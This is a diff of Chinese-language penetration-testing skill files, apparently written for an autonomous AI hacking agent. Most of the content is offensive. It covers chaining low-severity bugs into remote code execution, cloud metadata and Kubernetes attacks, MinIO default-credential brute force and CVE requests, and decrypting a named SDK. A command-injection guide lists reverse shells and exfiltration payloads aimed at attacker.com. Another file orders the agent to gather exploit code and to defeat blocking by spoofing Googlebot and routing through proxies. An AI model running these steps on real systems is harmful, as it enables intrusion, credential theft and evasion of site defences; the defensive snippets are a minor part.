raise ValueError("Insufficient stock")
```
5. **审计日志**
```python
def log_business_action(user_id, action, details):
log_entry = {
"user_id": user_id,
"action": action,
"details": details,
"timestamp": datetime.now()
}
db.log_action(log_entry)
```
## 注意事项
- 仅在授权测试环境中进行
- 避免对业务造成实际影响
- 注意不同业务流程的差异
- 测试时注意数据一致性
@@ -0,0 +1,47 @@
---
name: capability-primitive-search
description: >-
能力原语+状态空间搜索:read/write/exec/ssrf等原语凑RCE等式A-F,低危映射,正反向搜索,跨域兑现。Use when no single RCE, chaining low-severity vulns, or deriving novel attack chains.
tags: [渗透测试, penetration-testing, 红队]
---
## 能力原语 + 状态空间搜索
```
心法: RCE不是一个"漏洞",是一组"能力"凑齐后的涌现。没单点大洞时,几个info级/低危照样拼出代码执行。
固有思维(要打破): "扫不到RCE/反序列化/上传→这站打不动了"。你的活不是"找RCE漏洞",是"凑齐执行所需的原语"。
把每个Fact抽象成能力原语(不记"发现X漏洞",记"现在拥有什么能力+限制"):
read(path) write(path) exec(cmd) ssrf(url) sqli redirect(url) eval_expr idor(id) cred(svc,priv) coerce_auth write_acl
RCE只需满足任意一条等式,拆成可获取的原语去凑:
A. 能写文件 + 文件被当代码执行 = RCE
B. 能控配置/env + 配置指向你的代码 = RCE
C. 能进管理面 + 面板自带执行功能 = RCE(不是漏洞,是功能!)
D. 有凭据 + 服务有合法执行入口 = RCE(滥用合法功能)
E. 能任意读 + 读到凭据 + 凭据可登录执行点 = RCE
F. 能控数据 + 数据流入危险sink(eval/模板/SQL) = RCE
低危→原语映射(把"鸡肋漏洞"翻译成拼图碎片):
info泄露(.git/备份/堆栈)→源码/路径/密钥→喂B/E/F | LFI/任意读→读配置密钥→E,或日志投毒→A
SSRF(哪怕只GET)→打内网Redis/Consul/K8s/云元数据→C; 云元数据拿临时凭据→D
弱/默认/复用凭据→进带任务/插件/webhook/CI功能的后台→C | CORS/CSRF/XSS→借管理员浏览器调执行类功能→C
可控上传(哪怕限扩展名)→配路径穿越/解析差异/.htaccess→A | 配置写入→改模板/日志/连接串→B
SQLi(哪怕只读)→读hash/密钥→E,或OUTFILE→A | 模板可控→SSTI→F | 原型污染→污染下游属性→F
状态空间搜索(无现成链时自己搜): 状态=当前能力集, 动作=用能力解锁新能力, 目标=Goal。
正向: 对每个能力问"能解锁什么?"; 对每对能力问"组合出什么?"
(read+write=改配置; ssrf+内网redis=RCE; sqli+FILE=webshell; coerce_auth+relay=域SYSTEM; idor+massassign=改他人admin)
反向(卡住时主用): 锁定Goal=执行命令→选最接近现状的等式当模板→缺哪个原语设为子目标→
手上哪个低危/功能/info泄露能凑出它?→凑不出递归拆/换等式 → 正反向在中间相遇=完整链浮现 → 逐段验证
突破口(看到别走开):
·"功能即原语": 后台的任务计划/插件/模板编辑/SQL控制台/文件管理器/导入导出/webhook —— 合法功能但登进去就是现成执行/读写原语。渗透者眼里没"功能/漏洞"之分,只有"能力"。
·跨协议跳跃: SSRF的gopher/dict/file把"只能发HTTP"变成"打Redis/发SMTP/读文件"。
·凭据复用是万能胶: 任意一处拿到的密码/key默认全网复用全部喷一遍。横向常比纵向快。
·解析差异: 上传校验/路由/反代三方理解不一致→缝隙里有绕过(双扩展名/编码/Host混淆)。
·时间维度: TOCTOU/token可预测/缓存投毒,把"偶尔"变"稳定",把不可利用变可利用。
·跨域兑现: 每拿一个能力问"它在别的域值多少钱"——能力是通用货币。Web SSRF→进云元数据接管账户; APK硬编码→直连内部API绕前端鉴权; 供应链→拿CI密钥进生产。
·创造模式(已知组合用尽时): 重审能力边界(只能读/var/log? /proc/self/environ呢) | 找等价RCE的sink(写crontab/.bashrc/CI配置/LD_PRELOAD/authorized_keys/systemd unit都=RCE) | 信息(报错/时序/响应长度)当侧信道 | 假设取反:列"我以为不可能"逐条问"凭什么不可能"
> 推导出的链是假设(可 tentative 记 note/chain),实际执行+证据后才写 confirmed Fact / record_vulnerability。整条链每步都验证过才成立。
```
+42
View File
@@ -0,0 +1,42 @@
---
name: cloud-attack-methods
description: >-
云攻击:元数据API,S3/K8s,AWS/Azure/GCP身份提权,MinIO矩阵,阿里云FC,ChengZi SDK解密。Use when attacking cloud metadata, IAM, K8s, MinIO, Aliyun FC, or cloud post-ex.
tags: [渗透测试, penetration-testing, 红队]
---
## 云攻击手法
```
=== 云 ===
元数据API: AWS 169.254.169.254/latest/meta-data/iam/ | Azure -H Metadata:true | GCP metadata.google.internal | 阿里云100.100.100.200
对象存储: aws s3 ls --no-sign-request | K8s: /var/run/secrets/.../token → api/v1拿secrets/exec pods → cluster-admin
🚨云身份攻击(拿到key/token后的提权横向):
AWS: enumerate-iam/cloudfox/ScoutSuite枚举权限 → pacu自动找privesc(iam:PassRole+lambda/ec2/glue等18+条) | STS AssumeRole跨账户 | Lambda环境变量偷密钥
Azure/Entra: roadtools(roadrecon dump租户)/AADInternals | 设备码/刷新令牌 | Managed Identity IMDS偷token | Automation Runbook RCE | Key Vault读密钥
Entra后渗透: GraphRunner(Graph API枚举/搜邮件/加后门App) | 服务主体加凭据(隐蔽持久化) | 动态组滥用 | PRT偷取横向
GCP: 服务账户token(metadata) | serviceAccountTokenCreator/actAs提权 | gcloud枚举
🚨K8s深入(拿到集群网络/pod): kubelet 10250未授权(/pods列举,/exec进任意容器) | etcd 2379无认证读全secrets | API Server匿名 | RBAC过权SA(kubectl auth can-i --list) | 特权pod挂宿主逃逸 | 云K8s抢node身份→IMDS
🚨MinIO攻击矩阵:
指纹: Server: MinIO | /minio/health/live → 200(空body) | /minio/health/cluster → 200 | 9000(API)+9001(Console)
Console爆破: POST http://IP:9001/api/v1/login body={"accessKey":"minioadmin","secretKey":"minioadmin"} | 403="invalid Login"
STS API: POST /?Action=AssumeRoleWithWebIdentity&Version=2011-06-15&WebIdentityToken=JWT → 需JWT provider配置
CVE-2023-28432: POST /minio/health/cluster?verify (信息泄露,返回环境变量含MINIO_SECRET_KEY)
CVE-2023-28434: 路径穿越 /bucket/..%2F..%2Fetc/passwd → XMinioInvalidResourceName(已修补则不可用)
匿名访问: GET /bucket-name/ → ListBucket(200)=匿名读 | PUT /bucket/file → AccessDenied(403)=匿名写被禁
上传绕过: 应用层sign验证dir参数但不校验→可写任意bucket(sign只校验cid+et+og不含dir)
扩展名绕过: .jsp;.jpg / .jsp%00.jpg 过应用黑名单但MinIO存储为静态文件(image/jpeg)不执行
🚨阿里云FC函数(fcapp.run)枚举:
识别: URL含 *.cn-{region}.fcapp.run → 阿里云函数计算(Serverless)
特征: POST返回"unauthorized method 'POST'"(405) = 只接受GET | 200+{"code":200,"msg":"Forbidden"} = 路径存在但缺参数
利用: GET /{path}/{id}.html → 302重定向泄露真实CDN域名+auth_key签名URL(暴露CDN域名/bucket结构/签名算法)
枚举: 不同路径前缀对应不同APP(/mkzavakx/ vs /kpqwbcoq/) | 无效ID→302到qzone.qq.com/404.html(fallback)
路径穿越: FC正确规范化(../无效),但可枚举不同function路径
CDN auth_key(昆仑CDN kunlunaq.com): format=timestamp-rand-uid-md5(uri-timestamp-rand-uid-privatekey) → 破解需privatekey | x-tengine-error暴露"denied by req auth"
FC→CDN链路: FC函数生成签名URL→kunlun/kijwsks.com CDN下载 | referer伪装百度(mo.baidu.com)
🚨橙子建站(ChengZi SDK)解密:
初始化: POST https://random.d3504.cn/init3 body={appkey,channelCode,...} → 加密响应(base64)
解密: 单字节XOR key=0x96 → JSON(channelCode/fu下载URL/csu跟踪URL/ph安装包hash)
d3504.cn通过Cloudflare+阿里云DDoS防护(aliyunddos)+昆仑CDN(kunlunaq.com) → 多层防护
关键: fu字段=真实APK下载FC函数URL(可能与落地页不同region!) | csu=点击跟踪回调URL
```
-343
View File
@@ -1,343 +0,0 @@
---
name: cloud-security-audit
description: 云安全审计的专业技能和方法论
version: 1.0.0
---
# 云安全审计
## 概述
云安全审计是评估云环境安全性的重要环节。本技能提供云安全审计的方法、工具和最佳实践,涵盖AWS、Azure、GCP等主流云平台。
## 审计范围
### 1. 身份和访问管理
**检查项目:**
- IAM策略配置
- 用户权限
- 角色权限
- 访问密钥管理
### 2. 网络安全
**检查项目:**
- 安全组配置
- 网络ACL
- VPC配置
- 流量加密
### 3. 数据安全
**检查项目:**
- 数据加密
- 密钥管理
- 备份策略
- 数据分类
### 4. 合规性
**检查项目:**
- 合规框架
- 审计日志
- 监控告警
- 事件响应
## AWS安全审计
### IAM审计
**检查IAM策略:**
```bash
# 列出所有IAM用户
aws iam list-users
# 列出所有IAM策略
aws iam list-policies
# 检查用户权限
aws iam list-user-policies --user-name username
aws iam list-attached-user-policies --user-name username
# 检查角色权限
aws iam list-role-policies --role-name rolename
```
**常见问题:**
- 过度权限
- 未使用的访问密钥
- 密码策略弱
- MFA未启用
### S3安全审计
**检查S3存储桶:**
```bash
# 列出所有存储桶
aws s3 ls
# 检查存储桶策略
aws s3api get-bucket-policy --bucket bucketname
# 检查存储桶ACL
aws s3api get-bucket-acl --bucket bucketname
# 检查存储桶加密
aws s3api get-bucket-encryption --bucket bucketname
```
**常见问题:**
- 公开访问
- 未加密
- 版本控制未启用
- 日志记录未启用
### 安全组审计
**检查安全组:**
```bash
# 列出所有安全组
aws ec2 describe-security-groups
# 检查开放端口
aws ec2 describe-security-groups --group-ids sg-xxx
```
**常见问题:**
- 0.0.0.0/0开放
- 不必要的端口开放
- 规则过于宽松
### CloudTrail审计
**检查审计日志:**
```bash
# 列出所有跟踪
aws cloudtrail describe-trails
# 检查日志文件完整性
aws cloudtrail get-trail-status --name trailname
```
## Azure安全审计
### 订阅和资源组
**检查订阅:**
```bash
# 列出所有订阅
az account list
# 检查资源组
az group list
```
### 网络安全组
**检查NSG**
```bash
# 列出所有NSG
az network nsg list
# 检查NSG规则
az network nsg rule list --nsg-name nsgname --resource-group rgname
```
### 存储账户
**检查存储账户:**
```bash
# 列出所有存储账户
az storage account list
# 检查访问策略
az storage account show --name accountname --resource-group rgname
```
## GCP安全审计
### 项目和组织
**检查项目:**
```bash
# 列出所有项目
gcloud projects list
# 检查IAM策略
gcloud projects get-iam-policy project-id
```
### 计算引擎
**检查实例:**
```bash
# 列出所有实例
gcloud compute instances list
# 检查防火墙规则
gcloud compute firewall-rules list
```
### 存储
**检查存储桶:**
```bash
# 列出所有存储桶
gsutil ls
# 检查存储桶权限
gsutil iam get gs://bucketname
```
## 自动化工具
### Scout Suite
```bash
# AWS审计
scout aws
# Azure审计
scout azure
# GCP审计
scout gcp
```
### Prowler
```bash
# AWS安全审计
prowler -c check11,check12,check13
# 完整审计
prowler
```
### CloudSploit
```bash
# 扫描AWS账户
cloudsploit scan aws
# 扫描Azure订阅
cloudsploit scan azure
```
### Pacu
```bash
# AWS渗透测试框架
pacu
```
## 审计清单
### IAM安全
- [ ] 检查用户权限
- [ ] 检查角色权限
- [ ] 检查访问密钥
- [ ] 检查密码策略
- [ ] 检查MFA启用情况
### 网络安全
- [ ] 检查安全组/NSG规则
- [ ] 检查VPC配置
- [ ] 检查网络ACL
- [ ] 检查流量加密
### 数据安全
- [ ] 检查数据加密
- [ ] 检查密钥管理
- [ ] 检查备份策略
- [ ] 检查数据分类
### 合规性
- [ ] 检查审计日志
- [ ] 检查监控告警
- [ ] 检查事件响应
- [ ] 检查合规框架
## 常见安全问题
### 1. 过度权限
**问题:**
- IAM策略过于宽松
- 用户拥有管理员权限
- 角色权限过大
**修复:**
- 最小权限原则
- 定期审查权限
- 使用IAM策略模拟
### 2. 公开资源
**问题:**
- S3存储桶公开
- 安全组开放0.0.0.0/0
- 数据库公开访问
**修复:**
- 限制访问范围
- 使用私有网络
- 启用访问控制
### 3. 未加密数据
**问题:**
- 存储未加密
- 传输未加密
- 密钥管理不当
**修复:**
- 启用加密
- 使用TLS/SSL
- 使用密钥管理服务
### 4. 日志缺失
**问题:**
- 未启用审计日志
- 日志未保留
- 日志未监控
**修复:**
- 启用CloudTrail/Azure Monitor
- 设置日志保留策略
- 配置监控告警
## 最佳实践
### 1. 最小权限
- 只授予必要权限
- 定期审查权限
- 使用IAM策略模拟
### 2. 多层防护
- 网络层防护
- 应用层防护
- 数据层防护
### 3. 监控和告警
- 启用审计日志
- 配置监控告警
- 建立事件响应流程
### 4. 合规性
- 遵循合规框架
- 定期安全审计
- 文档化安全策略
## 注意事项
- 仅在授权环境中进行审计
- 避免对生产环境造成影响
- 注意不同云平台的差异
- 定期进行安全审计
-302
View File
@@ -1,302 +0,0 @@
---
name: command-injection-testing
description: 命令注入漏洞测试的专业技能和方法论
version: 1.0.0
---
# 命令注入漏洞测试
## 概述
命令注入是一种通过应用程序执行系统命令的漏洞。当应用程序将用户输入直接传递给系统命令时,攻击者可以执行任意命令。本技能提供命令注入的检测、利用和防护方法。
## 漏洞原理
应用程序调用系统命令时,未对用户输入进行充分验证和过滤,导致攻击者可以注入额外的命令。
**危险代码示例:**
```php
// PHP
system("ping " . $_GET['ip']);
// Python
os.system("ping " + user_input)
// Node.js
child_process.exec("ping " + user_input)
```
## 测试方法
### 1. 识别命令执行点
**常见功能:**
- Ping功能
- DNS查询
- 文件操作
- 系统信息
- 日志查看
- 备份恢复
### 2. 基础检测
**测试命令分隔符:**
```
; # 命令分隔符(Linux/Windows
& # 后台执行(Linux/Windows
| # 管道符(Linux/Windows
&& # 逻辑与(Linux/Windows
|| # 逻辑或(Linux/Windows
` # 命令替换(Linux
$() # 命令替换(Linux
```
**测试Payload**
```
127.0.0.1; id
127.0.0.1 && whoami
127.0.0.1 | cat /etc/passwd
127.0.0.1 `whoami`
127.0.0.1 $(whoami)
```
### 3. 盲命令注入
**时间延迟检测:**
```
127.0.0.1; sleep 5
127.0.0.1 && sleep 5
127.0.0.1 | sleep 5
```
**外带数据:**
```
127.0.0.1; curl http://attacker.com/?$(whoami)
127.0.0.1 && wget http://attacker.com/$(cat /etc/passwd)
```
**DNS外带:**
```
127.0.0.1; nslookup $(whoami).attacker.com
```
## 利用技术
### 基础命令执行
**Linux**
```
; id
; whoami
; uname -a
; cat /etc/passwd
; ls -la
```
**Windows**
```
& whoami
& ipconfig
& type C:\Windows\System32\drivers\etc\hosts
& dir
```
### 文件操作
**读取文件:**
```
; cat /etc/passwd
; type C:\Windows\System32\config\sam
; head -n 20 /var/log/apache2/access.log
```
**写入文件:**
```
; echo "<?php phpinfo(); ?>" > /tmp/shell.php
; echo "test" > C:\temp\test.txt
```
### 反弹Shell
**Bash**
```
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
```
**Netcat**
```
; nc -e /bin/bash attacker.com 4444
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f
```
**PowerShell**
```
& powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```
## 绕过技术
### 空格绕过
```
${IFS}id
${IFS}whoami
$IFS$9id
<>
%09 (Tab)
%20 (Space)
```
### 命令分隔符绕过
**编码绕过:**
```
%3b (;)
%26 (&)
%7c (|)
```
**换行绕过:**
```
%0a (换行)
%0d (回车)
```
### 关键字过滤绕过
**变量拼接:**
```bash
a=w;b=ho;c=ami;$a$b$c
```
**通配符:**
```bash
/bin/c?t /etc/passwd
/usr/bin/ca* /etc/passwd
```
**引号绕过:**
```bash
w'h'o'a'm'i
w"h"o"a"m"i
```
**反斜杠:**
```bash
w\ho\am\i
```
**Base64编码:**
```bash
echo "d2hvYW1p" | base64 -d | bash
```
### 长度限制绕过
**使用文件:**
```bash
echo "id" > /tmp/c
sh /tmp/c
```
**使用环境变量:**
```bash
export x='id';$x
```
## 工具使用
### Commix
```bash
# 基础扫描
python commix.py -u "http://target.com/ping?ip=127.0.0.1"
# 指定注入点
python commix.py -u "http://target.com/ping?ip=INJECT_HERE" --data="ip=INJECT_HERE"
# 获取Shell
python commix.py -u "http://target.com/ping?ip=127.0.0.1" --os-shell
```
### Burp Suite
1. 拦截请求
2. 发送到Intruder
3. 使用命令注入Payload列表
4. 观察响应或时间延迟
## 验证和报告
### 验证步骤
1. 确认可以执行系统命令
2. 验证命令执行结果
3. 评估影响(系统控制、数据泄露等)
4. 记录完整的POC
### 报告要点
- 漏洞位置和输入参数
- 可执行的命令类型
- 完整的利用步骤和POC
- 修复建议(输入验证、参数化、白名单等)
## 防护措施
### 推荐方案
1. **避免命令执行**
- 使用API替代系统命令
- 使用库函数替代命令
2. **输入验证**
```python
import re
def validate_ip(ip):
pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
if not re.match(pattern, ip):
raise ValueError("Invalid IP")
parts = ip.split('.')
if not all(0 <= int(p) <= 255 for p in parts):
raise ValueError("Invalid IP range")
return ip
```
3. **参数化命令**
```python
import subprocess
# 危险
subprocess.call(['ping', '-c', '1', user_input])
# 安全 - 使用参数列表
subprocess.call(['ping', '-c', '1', validated_ip])
```
4. **白名单验证**
```python
ALLOWED_COMMANDS = ['ping', 'nslookup']
ALLOWED_OPTIONS = {'ping': ['-c', '-n']}
if command not in ALLOWED_COMMANDS:
raise ValueError("Command not allowed")
```
5. **最小权限**
- 使用低权限用户运行应用
- 限制文件系统访问
- 使用chroot或容器隔离
6. **输出过滤**
- 限制输出内容
- 过滤敏感信息
- 记录命令执行日志
## 注意事项
- 仅在授权测试环境中进行
- 避免对系统造成破坏
- 注意不同操作系统的命令差异
- 测试时注意命令执行的影响范围
+64
View File
@@ -0,0 +1,64 @@
---
name: component-vuln-intel
description: >-
联网情报收集:识别组件后必做CVE/搜索引擎/中文社区/GitHub PoC/资产引擎/即时情报/依赖扩展+受阻换路。Use when a framework/component/version is identified and must search before exploit.
tags: [渗透测试, penetration-testing, 红队]
---
## 联网情报收集(识别组件→立即全网搜;结果=线索/tentative,验证前不是 confirmed Fact
```
🔴一识别出框架/组件/版本 → 必须停本地扫描立即联网(不搜就利用=盲打=违反铁律)。
🔴以下序列全部执行(不是选做),用{C}=组件名 {V}=版本替换。每步都用browser_navigate或terminal实际访问:
1.CVE漏洞库(必做,找已知漏洞):
terminal: searchsploit {C} {V}
terminal: curl -s "https://cve.circl.lu/api/search/{C}/{V}" | python3 -c "import sys,json;[print(x['id'],x.get('summary','')[:80]) for x in json.load(sys.stdin)[:10]]"
browser_navigate: https://github.com/advisories?query={C}+{V}
browser_navigate: https://www.cvedetails.com/google-search-results.php?q={C}+{V}&sa=Search
2.搜索引擎(至少执行3个,找漏洞分析+PoC):
browser_navigate: https://www.google.com/search?q={C}+{V}+exploit+PoC+RCE+site:github.com
browser_navigate: https://www.google.com/search?q={C}+{V}+漏洞+利用+复现
browser_navigate: https://www.baidu.com/s?wd={C}+{V}+漏洞+利用+poc+getshell
browser_navigate: https://www.bing.com/search?q={C}+{V}+CVE+exploit+poc
browser_navigate: https://duckduckgo.com/?q={C}+{V}+vulnerability+exploit
3.中文安全社区(必做,中文首发多且深度分析好):
browser_navigate: https://xz.aliyun.com/search?keyword={C}+漏洞
browser_navigate: https://www.seebug.org/search/?keywords={C}
browser_navigate: https://paper.seebug.org/search/?keyword={C}
browser_navigate: https://www.freebuf.com/search?search={C}+{V}
browser_navigate: https://ti.qianxin.com/vulnerability?keyword={C}
browser_navigate: https://www.anquanke.com/search?s={C}
4.GitHub搜PoC/exploit代码(必做,最直接拿利用代码):
terminal: curl -s "https://api.github.com/search/repositories?q={C}+{V}+exploit+OR+poc+OR+CVE&sort=updated&per_page=10" | python3 -c "import sys,json;d=json.load(sys.stdin);[print(x['full_name'],x['html_url'],x.get('description','')[:60]) for x in d.get('items',[])]"
terminal: curl -s "https://api.github.com/search/code?q={C}+RCE+OR+shell+OR+exploit+language:python&per_page=5" | python3 -c "import sys,json;d=json.load(sys.stdin);[print(x['html_url']) for x in d.get('items',[])]"
terminal: curl -s "https://api.github.com/search/repositories?q={C}+CVE&sort=stars&per_page=5" | python3 -c "import sys,json;d=json.load(sys.stdin);[print(x['full_name'],x['stargazers_count'],'★',x.get('description','')[:50]) for x in d.get('items',[])]"
找到仓库后: curl -s "https://api.github.com/repos/{owner}/{repo}/readme" | python3 -c "import sys,json,base64;print(base64.b64decode(json.load(sys.stdin)['content']).decode())"
5.资产引擎(找同类目标/暴露面):
browser_navigate: https://fofa.info/result?qbase64=$(echo -n 'app="{C}"' | base64)
browser_navigate: https://www.shodan.io/search?query={C}+{V}
browser_navigate: https://www.zoomeye.org/searchResult?q={C}
browser_navigate: https://search.censys.io/search?resource=hosts&q=services.software.product:{C}
6.即时情报(最新0day/在野利用):
browser_navigate: https://x.com/search?q={C}+CVE+OR+0day+OR+exploit&f=live
browser_navigate: https://www.reddit.com/r/netsec/search/?q={C}&sort=new&t=month
browser_navigate: https://www.exploit-db.com/search?q={C}
7.扩展链(必做): 搜完{C}后,提取其依赖清单(package.json/pom.xml/requirements.txt/go.mod)→对每个依赖重复1-6
🔴搜索受阻处理序列(碰到403/验证码/空结果/超时→按序执行不放弃):
①换UA: curl -H "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" "{URL}"
②Jina读取器: browser_navigate: https://r.jina.ai/{原始URL}
③Google缓存: browser_navigate: https://webcache.googleusercontent.com/search?q=cache:{域名}+{关键词}
④Archive: browser_navigate: https://web.archive.org/web/{URL}
⑤GitHub API替代(GitHub页面拦但API不拦): 用上面第4步的curl命令
⑥换引擎: Google拦→执行Bing/DuckDuckGo/百度; 百度拦→执行Google/Bing
⑦走代理: 按 `proxy-tool-bootstrap` 序列获取SOCKS5代理后重试
全部受阻仍无结果→写负Fact"已搜{C} {V}全渠道无公开漏洞"→转 `zero-day-discovery`
```

Some files were not shown because too many files have changed in this diff Show More